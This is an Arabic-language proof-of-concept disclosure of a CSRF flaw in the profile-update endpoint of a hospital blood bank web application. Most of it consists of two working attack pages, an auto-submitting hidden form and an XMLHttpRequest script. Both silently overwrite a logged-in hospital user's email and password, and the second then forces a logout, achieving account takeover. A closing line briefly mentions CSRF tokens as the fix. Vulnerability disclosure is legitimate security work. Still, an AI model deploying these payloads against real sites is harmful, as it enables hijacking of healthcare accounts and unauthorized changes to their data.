
إثبات مفهوم CSRF لتحديث ملف تعريف مستشفى يؤدي إلى الاستيلاء على الحساب
/file/updateprofile.phpتوجد ثغرة CSRF في هذه النقطة /file/updateprofile.php تسمح لمستخدم عن بعد بتحديث تفاصيل مستخدم مستشفى ويمكن أن تؤدي إلى الاستيلاء على الحساب حيث يمكن للمهاجم تحديث جميع المعلومات من البريد الإلكتروني إلى كلمة المرور مما يزيد فعليًا فرص الاستيلاء على الحساب.
يمكن أن يؤدي الاستغلال الناجح إلى إجراءات غير مصرح بها مثل حذف البيانات نيابة عن الضحية. بالإضافة إلى ذلك، يمكن استغلال ذلك من خلال زيارة مواقع ويب ضارة تحتوي على الحمولة.
فيما يلي مثال على هجوم CSRF POC يقوم بتحديث تفاصيل ملف تعريف حساب مستشفى مسجل الدخول، استضف الملف على نطاق يتحكم فيه المهاجم في حالتي كنت أستخدم localhost:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with Logout Redirect</title>
</head>
<body>
<h2>CSRF Proof of Concept with Chained Logout</h2>
<!-- Form to exploit CSRF vulnerability for updating profile -->
<form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
<input type="hidden" name="hname" value="parirenyatwa">
<input type="hidden" name="hemail" value="[email protected]">
<input type="hidden" name="hpassword" value="pari1234">
<input type="hidden" name="hphone" value="0777054000">
<input type="hidden" name="hcity" value="harare">
<input type="hidden" name="update" value="Update">
</form>
<script>
// Submit the CSRF form to update profile
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
logout CSRF وبالتالي تحقيق الاستيلاء على الحساب
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
<h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>
<script>
// Define the target URLs for the CSRF attack
const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
const logoutUrl = "http://localhost.local/bloodbank/logout.php";
// Data for the profile update CSRF request
const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";
// Function to send the XMLHttpRequest
function sendCSRFUpdate() {
const xhr = new XMLHttpRequest();
xhr.open("POST", updateUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// When the request is complete, redirect to the logout page
xhr.onload = function() {
if (xhr.status === 200) {
console.log("Profile update CSRF request completed");
// Redirect to logout URL to log the victim out
window.location.href = logoutUrl;
} else {
console.error("Profile update failed with status:", xhr.status);
}
};
// Send the request with the update data
xhr.send(updateData);
}
// Trigger the CSRF attack by sending the update request
sendCSRFUpdate();
</script>
</body>
</html>
csrf tokens في طلبك وتجنب أيضًا طلبات GET من إجراء تغييرات الحالة